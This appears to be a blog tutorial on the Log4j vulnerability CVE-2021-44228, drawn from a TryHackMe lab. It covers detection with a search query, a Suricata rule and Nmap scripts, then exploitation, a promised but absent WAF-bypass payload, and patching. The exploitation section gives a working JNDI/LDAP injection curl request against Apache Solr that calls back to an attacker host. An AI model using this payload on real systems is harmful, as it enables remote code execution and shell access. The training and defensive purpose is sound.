We demonstrated the detection and discovery of the recent Apache Log4j Vulnerability CVE-2021-44228 in addition to exploitation, mitigation and patching. We also covered how to patch and mitigate the Log4j vulnerability using Apache newly released guidelines. We used the material from TryHackMe Log4j room to demonstrate the Log4j on Apache Solar.

Affected versions : Apache Log4j2 < 2.15.0

Log4j has negative impact on many manufacturers and components among which are Google and Apple. You can find the full list here

How to detect Log4j Vulnerability

Log4j can be detected by doing a regular scan on your network that runs components using Java. There many ways to detect and find if your network is vulnerable to Log4j.

You can use this search query to look for any payload containing a JNDI lookup index=* ${jndi:*}

  • Using Suricate Rules

Example is below

alert http any any -> $HOME_NET any (msg:”FOX-SRT – Exploit – Possible Apache Log4J RCE Request Observed (CVE-2021-44228)”; flow:established, to_server; content:”${jndi:ldap://”; fast_pattern:only; flowbits:set, fox.apachelog4j.rce; threshold:type limit, track by_dst, count 1, seconds 3600; classtype:web-application-attack; priority:3; reference:url, [http://www.lunasec.io/docs/blog/log4j-zero-day/](http://www.lunasec.io/docs/blog/log4j-zero-day/); metadata:CVE 2021-44228; metadata:created_at 2021-12-10; metadata:ids suricata; sid:21003726; rev:1;)

  • By comparing hashes of vulnerable JAR and Class files with the list here
  • Using online scanners in python or Go
  • Using Burp Suite
  • Using Nmap Scripting Engine.

Example of using Nmap to detect Log4j is the below command

nmap -sV -T4 -v --script=$PWD/ scanme.nmap.org

$PWD: is the directory where you store nmap scripts

Its important to read the dnslog.cn after you finish the scan to determine the vulnerability. Example output is below thanks to

nmap -T4 -v --script=$PWD/ scanme.nmap.org
Starting Nmap 7.92 ( https://nmap.org ) at 2021-12-15 12:37 CET
NSE: Loaded 5 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 12:37
Completed NSE at 12:37, 0.53s elapsed
Pre-scan script results:
| dnslog-cn:
|   Domain: 2t722h.dnslog.cn
|_  Manually retrieve: curl --cookie "PHPSESSID=ss356ko502lsbftbl49d3g0777" http://dnslog.cn/getrecords.php
Initiating Ping Scan at 12:37
Scanning scanme.nmap.org ( [2 ports]
Completed Ping Scan at 12:37, 0.18s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 12:37
Completed Parallel DNS resolution of 1 host. at 12:37, 1.18s elapsed
Initiating Connect Scan at 12:37
Scanning scanme.nmap.org ( [1000 ports]
Discovered open port 80/tcp on
Discovered open port 53/tcp on
Discovered open port 22/tcp on
Stats: 0:00:23 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan
Connect Scan Timing: About 56.00% done; ETC: 12:37 (0:00:16 remaining)
Discovered open port 9929/tcp on
Discovered open port 31337/tcp on
Completed Connect Scan at 12:37, 37.06s elapsed (1000 total ports)
NSE: Script scanning
Initiating NSE at 12:37
Completed NSE at 12:37, 6.19s elapsed
Nmap scan report for scanme.nmap.org (
Host is up (0.18s latency).
Not shown: 995 closed tcp ports (conn-refused)
22/tcp    open  ssh
53/tcp    open  domain
80/tcp    open  http
9929/tcp  open  nping-echo
31337/tcp open  Elite

Host script results:
| dnslog-cn:
|   List of hosts responded: []
|   Manually retrieve: curl --cookie "PHPSESSID=ss356ko502lsbftbl49d3g0777" http://dnslog.cn/getrecords.php
|_  If list is not empty, check hosts as they are potentially vulnerable

NSE: Script Post-scanning.
Initiating NSE at 12:37
Completed NSE at 12:37, 0.50s elapsed
Post-scan script results:
| dnslog-cn:
|   List of hosts responded: []
|   Manually retrieve: curl --cookie "PHPSESSID=ss356ko502lsbftbl49d3g0777" http://dnslog.cn/getrecords.php
|_  If list is not empty, check hosts as they are potentially vulnerable
Read data files from: /usr/local/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 46.11 seconds

How to Exploit Log4j Vulnerability

In summary, Exploitation of Log4j vulnerability is achieved by making the target issue an LDAP callout to an LDAP referral server on your end. The LDAP referral server will redirect this call to a web server that must be running on your end which will server a Java exploit that once executed on the target will get the attacker shell access on the target.

The below are payloads you can add to your http requests.

curl ‘http://target-ip:8983/solr/admin/cores?foo=$\{jndi:ldap://your-ip:1389/Log4j\}’

The payload above assuming you are testing Apache solr. If you are testing another product line of Apache you need to change the URL path but the payload part stays the same.

How to bypass Web Application Firewalls

If you want to test your existing security controls against Log4j, then you can encode your Log4j payload such as the below payload


How to Mitigate and Patch The Log4j Vulnerability

Mitigation of Log4j vulnerability can be accomplished by adding two system properties that disable JNDI Lookups. Specifically set the below properties to TRUE


To patch against Log4j Vulnerability, update to version 2.16.0. Replace the core jar files the existing jar files on your system. Visit Apache download page to retrieve the latest version of Log4j.

For more details on the above, watch the below walk-through videos


About the Author

Cybersecurity Trainer MS in Cybersecurity Expertise in Healthcare and Finance Industries Penetration tester and compliance auditor

View Articles